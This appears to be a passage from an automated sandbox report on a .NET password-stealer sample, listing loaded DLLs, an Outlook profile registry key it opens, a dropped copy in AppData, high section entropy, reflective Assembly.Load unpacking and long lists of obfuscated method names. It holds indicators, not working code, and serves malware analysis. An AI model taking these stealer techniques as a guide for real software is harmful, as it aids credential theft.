Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: wintypes.dll

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains potential unpacker

Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, --.cs	.Net Code: _0002
Source: PUwpftrjIH.exe.0.dr, --.cs	.Net Code: _0002
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.8780000.7.raw.unpack, lxuIxS626uPP3Z2gJP.cs	.Net Code: F73MHC4klwAj1fhk0dL System.Reflection.Assembly.Load(byte[])
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.53d0000.4.raw.unpack, .cs	.Net Code: System.Reflection.Assembly.Load(byte[])
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4bc7b20.0.raw.unpack, lxuIxS626uPP3Z2gJP.cs	.Net Code: F73MHC4klwAj1fhk0dL System.Reflection.Assembly.Load(byte[])
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4c5d140.3.raw.unpack, lxuIxS626uPP3Z2gJP.cs	.Net Code: F73MHC4klwAj1fhk0dL System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Code function: 7_2_011D0C3D push edi; ret	7_2_011D0CC2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Code function: 7_2_011D0C95 push edi; retf	7_2_011D0C3A
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Code function: 12_2_019C0B4F push edi; ret	12_2_019C0CC2

Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Static PE information: section name: .text entropy: 7.980247279079844
Source: PUwpftrjIH.exe.0.dr	Static PE information: section name: .text entropy: 7.980247279079844

Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.8780000.7.raw.unpack, qEXeMKEDHBjNO3g5kDx.cs	High entropy of concatenated method names: 'YFkbU9YQSL', 'jVgbBGXtmn', 'w3Nb2Croqm', 'kb8blFikTQ', 'kq0bNlJlAB', 'SBNbLE1Vg8', 'AGtbmjnN54', 'YDIbF6Stlu', 'iiGbeahAnm', 'oJaboyygQp'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.8780000.7.raw.unpack, pgV2xQGNaC0MNwXbFe.cs	High entropy of concatenated method names: 'Dispose', 'pn2EYTVqGC', 'XASXvaqyDU', 'Id3xxwtBcW', 'JPEE4HcyhV', 'yA9Ez4QccT', 'ProcessDialogKey', 'TKyXD8a3hS', 'IudXEfQsOf', 'JjRXXfeMKf'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.8780000.7.raw.unpack, eQWaYJ17JN76s0bchq.cs	High entropy of concatenated method names: 'EoksUq2W1i', 'mQYsBspyD8', 'OCjs2Xb3qw', 't7BslRLkpb', 'E1XsNVsLN3', 'PBPsLCkcYU', 'mH1smjkAYy', 'IYLsFE8jvO', 'AAMsek9JZC', 'QJZso5e7aO'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.8780000.7.raw.unpack, UeMKfk4aIVNMtlZgU6.cs	High entropy of concatenated method names: 'AlsbERdgeR', 'yi5bp8VXhk', 'zE2bZJM4nH', 'EuUbutBOo9', 'pifbGTUosf', 'gE3bdbNoDL', 'EaEbym7dma', 'lBc3OuhnIU', 'WM03IBXRuv', 'Yca3YM05vT'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.8780000.7.raw.unpack, zZT5m8rdae6QEXhc5R.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'LmBXYkVYum', 'k2FX4vfSJ1', 'QGhXzEvSDX', 'qHLpDEEwyg', 'HC6pECGg1i', 'yIqpX8wrgR', 'aaVppyb7uQ', 'oKTUW94rR0QPZ2hev3r'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.8780000.7.raw.unpack, i8a3hSYcudfQsOfajR.cs	High entropy of concatenated method names: 'wnO3VcUigD', 'efE3v5T8kM', 'YIq3c5JwMT', 'tmi3AuomNf', 'u3W3n4u6hk', 'iEL3aP9IJD', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.8780000.7.raw.unpack, a1DVSLV5IdGcQCBcgx.cs	High entropy of concatenated method names: 'yY0yhJbjAv', 'OViyGg2Egg', 'w6UydFL30p', 'c5Tys69OcP', 'lyqy6SIy1H', 'ic1dfqfRP4', 'h95dqQL2Dk', 'TMCdOCEXje', 'QTVdICLIXQ', 'frXdY9my95'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.8780000.7.raw.unpack, xRBFU6EXqOgxY7JkcgO.cs	High entropy of concatenated method names: 'gZbkUpDfHM', 'CrOkBobYvF', 'zgXk2UW5YW', 'FLAmuDrBAlxDchSTiLv', 'clu0QXrwQrNAY54byYJ', 'VysPxrrdFFWpT3xHotS', 'CFNjZnrzFGHOA16OvIh'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.8780000.7.raw.unpack, pI8pd5oMsyKa6kgbSG.cs	High entropy of concatenated method names: 'll7dNGNtu0', 'DvRdmDoGaw', 'PWcrc2x1lP', 'E3trADA6as', 'jnXra9iTHv', 'IDIriLJCY5', 'wUWr8uy2k5', 'DiWrjsQAGc', 'SNEr1DTQZI', 'n71rQTKm80'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.8780000.7.raw.unpack, cg19N0ziFArwRohoKf.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'MiRbSh5wH0', 'xg5bgcLupt', 'iHZbtUcypp', 'Lg8bHLC5jh', 'BVXb3l89b5', 'keibbx1PGc', 'cxdbkGjsUn'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.8780000.7.raw.unpack, LnprZyFhkO4Ahy0mDa.cs	High entropy of concatenated method names: 'nTWGnGfusL', 'B9jGKaFnHy', 'krjGMlOhya', 'lRTGJ0fgeU', 'LZ9GfyAXM2', 'cRlGqEiXYw', 'oneGOy7rUX', 'gBUGIPCnJ0', 'WxHGY3vj3O', 'iRSG4ygUwC'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.8780000.7.raw.unpack, BVkZFxEpC5FKcTc1MU8.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'zrykncWeba', 'sUokK6tmtK', 'FmpkMFCYiH', 'jQgkJ9AgXg', 'qHWkf5wkYE', 'DgWkqc7RKF', 'fpBkONuBWX'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.8780000.7.raw.unpack, jvG3cOnPXmmY9OtVIx.cs	High entropy of concatenated method names: 'q1EgQt2YPB', 'F92gTLyIRl', 'eKSgnXqhAT', 'EBOgKXZ0y8', 'GrvgvcHgu8', 'v43gcpiQvN', 'p9IgAXpHK9', 'RSRga2GvNF', 'APmgicZsRv', 'swkg8S5Qsd'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.8780000.7.raw.unpack, vEHcyhIVBA94QccTJK.cs	High entropy of concatenated method names: 'Odc3uGqWIy', 'wcI3GKE1ii', 'a9P3rBMZg6', 'E1L3dixaCC', 'wWg3yaogyb', 'ryN3sSLAJc', 'lt2366h0CY', 'yol300oLob', 'rSw39UNnTr', 'KZv37YrwFf'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.8780000.7.raw.unpack, HWiQ3ieRoHS56tpk32.cs	High entropy of concatenated method names: 'K88rlASLhc', 'ynhrLRddHy', 'qXfrFw4oiE', 'LV2re3U4EB', 'jFCrgdZTdF', 'Ekxrt0jBkK', 'XFyrHiL8mD', 'Ct8r3upCEZ', 'iblrbGqV7P', 'qQCrkegg9R'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.8780000.7.raw.unpack, lID1QQZEygTBQZkoGh.cs	High entropy of concatenated method names: 'AwjEsnprZy', 'ekOE64Ahy0', 'KRoE9HS56t', 'ck3E72tI8p', 'sgbEgSGD1D', 'GSLEt5IdGc', 'cLSBg7yippqySc86U2', 'iRRr57heQfP3sjNdY2', 'EZ1FjYiSXKwh6My3c5', 'gd5EElv7GJ'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.8780000.7.raw.unpack, DKXLkcXaAY02BNmiss.cs	High entropy of concatenated method names: 'M782xFSeS', 'i8DlVFNTH', 'oGRLyPtlG', 'g2HmV54ek', 'oLCeny3Hn', 'xrqowkREW', 'HVGyGg3uDCHvtQdHI8', 'ES3q9JVL4M6OJ3sE0D', 'lnt36HTF8', 'JIwkkKndv'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.8780000.7.raw.unpack, KOG1Ts8fBCdaQieJ0d.cs	High entropy of concatenated method names: 'G4XsuRVMt7', 'HglsrMpY8t', 'q8OsyVtNZM', 'p0ly4n3DSS', 'rUwyzteKr8', 'lSbsDMHZ8L', 'FiQsECJJAJ', 'Tt4sXVA3b4', 'RM5spTx6Ud', 'e4usZasGFQ'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.8780000.7.raw.unpack, lxuIxS626uPP3Z2gJP.cs	High entropy of concatenated method names: 'iI3phwQBH6', 'sM8puITtcA', 'iD7pGq8jK8', 't4Sprnpysy', 'uxFpdeZMJL', 'hUIpy0SpTy', 'xDcpsRlnAR', 'lx9p6wwWjq', 'zQkp0OxppQ', 't4Ap9JFwIF'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.8780000.7.raw.unpack, bOdrHAW3rFim79dstj.cs	High entropy of concatenated method names: 'WWTSFfrBd1', 'x9QSeb9j7c', 'fHbSV90JWq', 'CsDSvibYZ6', 'mn2SAN9YT1', 'pT9SaqoB7P', 'XsTS88B0cn', 'I4kSjdGTyc', 'jYmSQvgfkR', 'g9OS5BCeJV'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.8780000.7.raw.unpack, jVPN2sqqRqN73tatjx.cs	High entropy of concatenated method names: 'Y5AHI9Zgd2', 'Nc9H4g58oD', 'vZp3DoKHwO', 'coD3EqM3PM', 'TEDH5qkHsh', 'IyhHTFag4G', 'XhjHWBj8vo', 'fYJHn0M4Gc', 'KLiHK4nyXN', 'WrWHMoTFnB'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4bc7b20.0.raw.unpack, qEXeMKEDHBjNO3g5kDx.cs	High entropy of concatenated method names: 'YFkbU9YQSL', 'jVgbBGXtmn', 'w3Nb2Croqm', 'kb8blFikTQ', 'kq0bNlJlAB', 'SBNbLE1Vg8', 'AGtbmjnN54', 'YDIbF6Stlu', 'iiGbeahAnm', 'oJaboyygQp'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4bc7b20.0.raw.unpack, pgV2xQGNaC0MNwXbFe.cs	High entropy of concatenated method names: 'Dispose', 'pn2EYTVqGC', 'XASXvaqyDU', 'Id3xxwtBcW', 'JPEE4HcyhV', 'yA9Ez4QccT', 'ProcessDialogKey', 'TKyXD8a3hS', 'IudXEfQsOf', 'JjRXXfeMKf'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4bc7b20.0.raw.unpack, eQWaYJ17JN76s0bchq.cs	High entropy of concatenated method names: 'EoksUq2W1i', 'mQYsBspyD8', 'OCjs2Xb3qw', 't7BslRLkpb', 'E1XsNVsLN3', 'PBPsLCkcYU', 'mH1smjkAYy', 'IYLsFE8jvO', 'AAMsek9JZC', 'QJZso5e7aO'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4bc7b20.0.raw.unpack, UeMKfk4aIVNMtlZgU6.cs	High entropy of concatenated method names: 'AlsbERdgeR', 'yi5bp8VXhk', 'zE2bZJM4nH', 'EuUbutBOo9', 'pifbGTUosf', 'gE3bdbNoDL', 'EaEbym7dma', 'lBc3OuhnIU', 'WM03IBXRuv', 'Yca3YM05vT'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4bc7b20.0.raw.unpack, zZT5m8rdae6QEXhc5R.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'LmBXYkVYum', 'k2FX4vfSJ1', 'QGhXzEvSDX', 'qHLpDEEwyg', 'HC6pECGg1i', 'yIqpX8wrgR', 'aaVppyb7uQ', 'oKTUW94rR0QPZ2hev3r'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4bc7b20.0.raw.unpack, i8a3hSYcudfQsOfajR.cs	High entropy of concatenated method names: 'wnO3VcUigD', 'efE3v5T8kM', 'YIq3c5JwMT', 'tmi3AuomNf', 'u3W3n4u6hk', 'iEL3aP9IJD', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4bc7b20.0.raw.unpack, a1DVSLV5IdGcQCBcgx.cs	High entropy of concatenated method names: 'yY0yhJbjAv', 'OViyGg2Egg', 'w6UydFL30p', 'c5Tys69OcP', 'lyqy6SIy1H', 'ic1dfqfRP4', 'h95dqQL2Dk', 'TMCdOCEXje', 'QTVdICLIXQ', 'frXdY9my95'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4bc7b20.0.raw.unpack, xRBFU6EXqOgxY7JkcgO.cs	High entropy of concatenated method names: 'gZbkUpDfHM', 'CrOkBobYvF', 'zgXk2UW5YW', 'FLAmuDrBAlxDchSTiLv', 'clu0QXrwQrNAY54byYJ', 'VysPxrrdFFWpT3xHotS', 'CFNjZnrzFGHOA16OvIh'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4bc7b20.0.raw.unpack, pI8pd5oMsyKa6kgbSG.cs	High entropy of concatenated method names: 'll7dNGNtu0', 'DvRdmDoGaw', 'PWcrc2x1lP', 'E3trADA6as', 'jnXra9iTHv', 'IDIriLJCY5', 'wUWr8uy2k5', 'DiWrjsQAGc', 'SNEr1DTQZI', 'n71rQTKm80'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4bc7b20.0.raw.unpack, cg19N0ziFArwRohoKf.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'MiRbSh5wH0', 'xg5bgcLupt', 'iHZbtUcypp', 'Lg8bHLC5jh', 'BVXb3l89b5', 'keibbx1PGc', 'cxdbkGjsUn'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4bc7b20.0.raw.unpack, LnprZyFhkO4Ahy0mDa.cs	High entropy of concatenated method names: 'nTWGnGfusL', 'B9jGKaFnHy', 'krjGMlOhya', 'lRTGJ0fgeU', 'LZ9GfyAXM2', 'cRlGqEiXYw', 'oneGOy7rUX', 'gBUGIPCnJ0', 'WxHGY3vj3O', 'iRSG4ygUwC'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4bc7b20.0.raw.unpack, BVkZFxEpC5FKcTc1MU8.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'zrykncWeba', 'sUokK6tmtK', 'FmpkMFCYiH', 'jQgkJ9AgXg', 'qHWkf5wkYE', 'DgWkqc7RKF', 'fpBkONuBWX'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4bc7b20.0.raw.unpack, jvG3cOnPXmmY9OtVIx.cs	High entropy of concatenated method names: 'q1EgQt2YPB', 'F92gTLyIRl', 'eKSgnXqhAT', 'EBOgKXZ0y8', 'GrvgvcHgu8', 'v43gcpiQvN', 'p9IgAXpHK9', 'RSRga2GvNF', 'APmgicZsRv', 'swkg8S5Qsd'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4bc7b20.0.raw.unpack, vEHcyhIVBA94QccTJK.cs	High entropy of concatenated method names: 'Odc3uGqWIy', 'wcI3GKE1ii', 'a9P3rBMZg6', 'E1L3dixaCC', 'wWg3yaogyb', 'ryN3sSLAJc', 'lt2366h0CY', 'yol300oLob', 'rSw39UNnTr', 'KZv37YrwFf'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4bc7b20.0.raw.unpack, HWiQ3ieRoHS56tpk32.cs	High entropy of concatenated method names: 'K88rlASLhc', 'ynhrLRddHy', 'qXfrFw4oiE', 'LV2re3U4EB', 'jFCrgdZTdF', 'Ekxrt0jBkK', 'XFyrHiL8mD', 'Ct8r3upCEZ', 'iblrbGqV7P', 'qQCrkegg9R'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4bc7b20.0.raw.unpack, lID1QQZEygTBQZkoGh.cs	High entropy of concatenated method names: 'AwjEsnprZy', 'ekOE64Ahy0', 'KRoE9HS56t', 'ck3E72tI8p', 'sgbEgSGD1D', 'GSLEt5IdGc', 'cLSBg7yippqySc86U2', 'iRRr57heQfP3sjNdY2', 'EZ1FjYiSXKwh6My3c5', 'gd5EElv7GJ'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4bc7b20.0.raw.unpack, DKXLkcXaAY02BNmiss.cs	High entropy of concatenated method names: 'M782xFSeS', 'i8DlVFNTH', 'oGRLyPtlG', 'g2HmV54ek', 'oLCeny3Hn', 'xrqowkREW', 'HVGyGg3uDCHvtQdHI8', 'ES3q9JVL4M6OJ3sE0D', 'lnt36HTF8', 'JIwkkKndv'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4bc7b20.0.raw.unpack, KOG1Ts8fBCdaQieJ0d.cs	High entropy of concatenated method names: 'G4XsuRVMt7', 'HglsrMpY8t', 'q8OsyVtNZM', 'p0ly4n3DSS', 'rUwyzteKr8', 'lSbsDMHZ8L', 'FiQsECJJAJ', 'Tt4sXVA3b4', 'RM5spTx6Ud', 'e4usZasGFQ'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4bc7b20.0.raw.unpack, lxuIxS626uPP3Z2gJP.cs	High entropy of concatenated method names: 'iI3phwQBH6', 'sM8puITtcA', 'iD7pGq8jK8', 't4Sprnpysy', 'uxFpdeZMJL', 'hUIpy0SpTy', 'xDcpsRlnAR', 'lx9p6wwWjq', 'zQkp0OxppQ', 't4Ap9JFwIF'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4bc7b20.0.raw.unpack, bOdrHAW3rFim79dstj.cs	High entropy of concatenated method names: 'WWTSFfrBd1', 'x9QSeb9j7c', 'fHbSV90JWq', 'CsDSvibYZ6', 'mn2SAN9YT1', 'pT9SaqoB7P', 'XsTS88B0cn', 'I4kSjdGTyc', 'jYmSQvgfkR', 'g9OS5BCeJV'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4bc7b20.0.raw.unpack, jVPN2sqqRqN73tatjx.cs	High entropy of concatenated method names: 'Y5AHI9Zgd2', 'Nc9H4g58oD', 'vZp3DoKHwO', 'coD3EqM3PM', 'TEDH5qkHsh', 'IyhHTFag4G', 'XhjHWBj8vo', 'fYJHn0M4Gc', 'KLiHK4nyXN', 'WrWHMoTFnB'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4c5d140.3.raw.unpack, qEXeMKEDHBjNO3g5kDx.cs	High entropy of concatenated method names: 'YFkbU9YQSL', 'jVgbBGXtmn', 'w3Nb2Croqm', 'kb8blFikTQ', 'kq0bNlJlAB', 'SBNbLE1Vg8', 'AGtbmjnN54', 'YDIbF6Stlu', 'iiGbeahAnm', 'oJaboyygQp'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4c5d140.3.raw.unpack, pgV2xQGNaC0MNwXbFe.cs	High entropy of concatenated method names: 'Dispose', 'pn2EYTVqGC', 'XASXvaqyDU', 'Id3xxwtBcW', 'JPEE4HcyhV', 'yA9Ez4QccT', 'ProcessDialogKey', 'TKyXD8a3hS', 'IudXEfQsOf', 'JjRXXfeMKf'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4c5d140.3.raw.unpack, eQWaYJ17JN76s0bchq.cs	High entropy of concatenated method names: 'EoksUq2W1i', 'mQYsBspyD8', 'OCjs2Xb3qw', 't7BslRLkpb', 'E1XsNVsLN3', 'PBPsLCkcYU', 'mH1smjkAYy', 'IYLsFE8jvO', 'AAMsek9JZC', 'QJZso5e7aO'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4c5d140.3.raw.unpack, UeMKfk4aIVNMtlZgU6.cs	High entropy of concatenated method names: 'AlsbERdgeR', 'yi5bp8VXhk', 'zE2bZJM4nH', 'EuUbutBOo9', 'pifbGTUosf', 'gE3bdbNoDL', 'EaEbym7dma', 'lBc3OuhnIU', 'WM03IBXRuv', 'Yca3YM05vT'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4c5d140.3.raw.unpack, zZT5m8rdae6QEXhc5R.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'LmBXYkVYum', 'k2FX4vfSJ1', 'QGhXzEvSDX', 'qHLpDEEwyg', 'HC6pECGg1i', 'yIqpX8wrgR', 'aaVppyb7uQ', 'oKTUW94rR0QPZ2hev3r'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4c5d140.3.raw.unpack, i8a3hSYcudfQsOfajR.cs	High entropy of concatenated method names: 'wnO3VcUigD', 'efE3v5T8kM', 'YIq3c5JwMT', 'tmi3AuomNf', 'u3W3n4u6hk', 'iEL3aP9IJD', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4c5d140.3.raw.unpack, a1DVSLV5IdGcQCBcgx.cs	High entropy of concatenated method names: 'yY0yhJbjAv', 'OViyGg2Egg', 'w6UydFL30p', 'c5Tys69OcP', 'lyqy6SIy1H', 'ic1dfqfRP4', 'h95dqQL2Dk', 'TMCdOCEXje', 'QTVdICLIXQ', 'frXdY9my95'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4c5d140.3.raw.unpack, xRBFU6EXqOgxY7JkcgO.cs	High entropy of concatenated method names: 'gZbkUpDfHM', 'CrOkBobYvF', 'zgXk2UW5YW', 'FLAmuDrBAlxDchSTiLv', 'clu0QXrwQrNAY54byYJ', 'VysPxrrdFFWpT3xHotS', 'CFNjZnrzFGHOA16OvIh'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4c5d140.3.raw.unpack, pI8pd5oMsyKa6kgbSG.cs	High entropy of concatenated method names: 'll7dNGNtu0', 'DvRdmDoGaw', 'PWcrc2x1lP', 'E3trADA6as', 'jnXra9iTHv', 'IDIriLJCY5', 'wUWr8uy2k5', 'DiWrjsQAGc', 'SNEr1DTQZI', 'n71rQTKm80'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4c5d140.3.raw.unpack, cg19N0ziFArwRohoKf.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'MiRbSh5wH0', 'xg5bgcLupt', 'iHZbtUcypp', 'Lg8bHLC5jh', 'BVXb3l89b5', 'keibbx1PGc', 'cxdbkGjsUn'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4c5d140.3.raw.unpack, LnprZyFhkO4Ahy0mDa.cs	High entropy of concatenated method names: 'nTWGnGfusL', 'B9jGKaFnHy', 'krjGMlOhya', 'lRTGJ0fgeU', 'LZ9GfyAXM2', 'cRlGqEiXYw', 'oneGOy7rUX', 'gBUGIPCnJ0', 'WxHGY3vj3O', 'iRSG4ygUwC'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4c5d140.3.raw.unpack, BVkZFxEpC5FKcTc1MU8.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'zrykncWeba', 'sUokK6tmtK', 'FmpkMFCYiH', 'jQgkJ9AgXg', 'qHWkf5wkYE', 'DgWkqc7RKF', 'fpBkONuBWX'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4c5d140.3.raw.unpack, jvG3cOnPXmmY9OtVIx.cs	High entropy of concatenated method names: 'q1EgQt2YPB', 'F92gTLyIRl', 'eKSgnXqhAT', 'EBOgKXZ0y8', 'GrvgvcHgu8', 'v43gcpiQvN', 'p9IgAXpHK9', 'RSRga2GvNF', 'APmgicZsRv', 'swkg8S5Qsd'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4c5d140.3.raw.unpack, vEHcyhIVBA94QccTJK.cs	High entropy of concatenated method names: 'Odc3uGqWIy', 'wcI3GKE1ii', 'a9P3rBMZg6', 'E1L3dixaCC', 'wWg3yaogyb', 'ryN3sSLAJc', 'lt2366h0CY', 'yol300oLob', 'rSw39UNnTr', 'KZv37YrwFf'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4c5d140.3.raw.unpack, HWiQ3ieRoHS56tpk32.cs	High entropy of concatenated method names: 'K88rlASLhc', 'ynhrLRddHy', 'qXfrFw4oiE', 'LV2re3U4EB', 'jFCrgdZTdF', 'Ekxrt0jBkK', 'XFyrHiL8mD', 'Ct8r3upCEZ', 'iblrbGqV7P', 'qQCrkegg9R'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4c5d140.3.raw.unpack, lID1QQZEygTBQZkoGh.cs	High entropy of concatenated method names: 'AwjEsnprZy', 'ekOE64Ahy0', 'KRoE9HS56t', 'ck3E72tI8p', 'sgbEgSGD1D', 'GSLEt5IdGc', 'cLSBg7yippqySc86U2', 'iRRr57heQfP3sjNdY2', 'EZ1FjYiSXKwh6My3c5', 'gd5EElv7GJ'
